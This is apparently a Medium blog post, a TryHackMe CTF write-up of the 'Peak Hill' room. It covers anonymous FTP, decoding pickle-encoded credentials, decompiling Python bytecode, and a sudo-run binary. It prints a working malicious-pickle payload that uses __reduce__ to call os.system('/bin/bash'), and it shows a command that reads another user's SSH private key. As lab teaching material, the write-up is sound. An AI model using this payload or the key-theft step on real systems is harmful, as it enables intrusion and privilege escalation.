← Back to list

Peak Hill — TryHackMe CTF Writeup | Pickle Deserialization & Python Exploitation

Cracking Pickle-Encoded Credentials, Decompiling Python Bytecode, and Exploiting Deserialization for Root

Arun1x · 2026-05-29 04:48 · 1 claps · 3.8 min read
#cybersecurity #tryhackme-writeup #ctf-walkthrough #exploit-development #penetration-testing
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Peak Hill — TryHackMe CTF Writeup | Pickle Deserialization & Python Exploitation

Cracking Pickle-Encoded Credentials, Decompiling Python Bytecode, and Exploiting Deserialization for Root

The Farm Awaits

A machine named Peak Hill. A farm-themed binary at the end. And credentials hidden inside a Python pickle file encoded in binary. This room is a love letter to Python security — and a reminder that pickle.loads() is one of the most dangerous functions in the language.

Let’s grow something.

Step 1: Recon with Nmap

bash

sudo nmap -p21,22 -sV -sC -T4 10.49.145.144 -Pn

Two ports:

  • Port 21 — FTP (vsftpd 3.0.3) with anonymous login enabled
  • Port 22 — SSH (OpenSSH 7.2p2)

Anonymous FTP is always the first door worth trying. Let’s walk in.

Step 2: FTP Anonymous Login — Hidden Pickle File

bash

ftp 10.49.145.144
# Login: anonymous
ftp> ls -la

A hidden file sits quietly in the directory:

-rw-r--r--  1 ftp  ftp  7048 May 15 2020 .creds

Standard ls would have missed it. Always use ls -la on FTP. Downloaded and renamed to creds.pickle — because that's exactly what it is.

Step 3: Decoding the Pickle File — Binary to Credentials

The file contains raw binary data. A quick Python script decodes it:

python

import pickle
with open("creds.pickle", "r") as f:
    bits = f.read().strip()
data = int(bits, 2).to_bytes((len(bits) + 7) // 8, "big")
raw = pickle.loads(data)
print(raw)

Output is a scrambled list of tuples with keys like ssh_user0, ssh_pass1 etc. Sorting by the numeric index and assembling the characters in order:

Username: gherkin
Password: p1ckl3s_@11_@r0und_th3_w0rld

Even the credentials are pickle-themed. Respect.

Step 4: SSH In as Gherkin — Python Bytecode Discovery

Logged in as gherkin, an interesting file sits in the home directory:

cmd_service.pyc

A compiled Python bytecode file. Not human-readable — but transferring it to the attacker machine and running uncompyle6 reveals the source:

python

from Crypto.Util.number import long_to_bytes
username = 1684630636
password = 2457564920124666544827225107428488864802762356
user = long_to_bytes(username)
passwd = long_to_bytes(password)

The source also reveals a service running on port 7321. Decoding those numbers:

bash

Step 5: Connecting to the Hidden Service

bash

nc 127.0.0.1 7321
# Username: dill
# Password: n3v3r_@_d1ll_m0m3nt
# Successfully logged in!

A reverse shell attempt from the service doesn’t reach back out. But browsing dill’s home directory reveals something better — an SSH private key:

bash

cat /home/dill/.ssh/id_rsa

Grabbed the key, set permissions, and SSH’d in directly:

bash

ssh -i id_rsa dill@10.49.145.144

User flag captured:

f1e13335c47306e19...........  ✅

Step 6: Sudo Enumeration — The Farm Binary

bash

sudo -l
# (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

Running the binary:

Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!
to grow:

It accepts input and tries to Base64 decode it. The name of the room, the pickle file, the binary name — everything points to one thing. This binary deserializes pickle data from Base64 input.

Step 7: Pickle Deserialization Exploit — Root

Crafting a malicious pickle payload that spawns bash:

python

import pickle
import os
import base64
class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('/bin/bash', ))
pickle_data = pickle.dumps(EvilPickle())
payload = base64.b64encode(pickle_data)
print(payload)

Output:

b'gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4='

Feed it to the farm:

to grow: gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4=

Root shell drops instantly.

bash

find . -name "*root*" -exec cat {} \;
# e88f0a01135c0.................  

Rooted.

Attack Chain Summary

Anonymous FTP
    ↓
Hidden .creds file (binary-encoded pickle)
    ↓
Decoded SSH credentials → gherkin
    ↓
Decompiled .pyc → hidden service credentials + port 7321
    ↓
SSH private key → dill
    ↓
Sudo binary accepts Base64 pickle input
    ↓
Malicious pickle payload → ROOT

Key Takeaways

  • Anonymous FTP + hidden files (ls -la) is a classic entry point — never skip it
  • Python pickle is inherently unsafe for untrusted data — pickle.loads() executes arbitrary code by design
  • Compiled .pyc files can be decompiled with uncompyle6 — hardcoded credentials survive compilation
  • **__reduce__** is the magic method that makes pickle deserialization exploitable — understanding it is essential
  • Sudo binaries that process user input are always worth analysing for injection vectors

Enjoyed the writeup? Follow for more TryHackMe and HackTheBox walkthroughs. If you got stuck on the pickle payload, drop a comment — happy to walk through it! 🥒🔐


메타데이터
post_id
ea85e7368de4
slug
peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
url
https://medium.com/@arun1x/peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
canonical_url
https://medium.com/@arun1x/peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
author_url
https://medium.com/@arun1x
status
ok
fetched_at
2026-06-14 16:15:44